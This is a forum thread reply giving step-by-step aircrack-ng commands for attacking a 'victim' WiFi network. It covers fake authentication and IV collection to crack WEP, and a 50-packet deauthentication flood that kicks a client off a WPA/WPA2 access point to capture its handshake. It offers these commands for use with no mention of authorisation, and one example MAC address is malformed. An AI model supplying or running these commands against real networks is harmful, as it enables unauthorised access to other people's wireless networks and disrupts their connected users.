Forum Thread: What Is the Proper Way to Perfom a Deauth Attack on a AP Using Aireplay-Ng ..Does It Really Works Even if It Reads 0/Ack

for WEP encrypted wifi:

you need to get more than 5000 IVs...you don't deauth, and if there's no client connected to the Access Point, you can join it as a client by adding your mac address. to get your mac address type: macchanger -s wlan0mon (or wlan1mon etc...). Now type:

aireplay-ng -1 0 -a mac-of-the-victim -h your-mac-address wlan0mon
example:
aireplay-ng -1 0 -a 00:11:22:33:44:55 -h 1B:2C:3D:4E:5F:6G wlan0mon
then aircrack-ng /path/to/blabla.cap

for WPA and WPA2:
you need to get a HANDSHAKE
deauth the victim by typing:
aireplay-ng -0 50 -a mac-of-the-victim-AP -c mac-of-the-victim-computer wlan0mon

if you're faaaaaaaaar from the victim, the signal is weak, so the attack may not succeed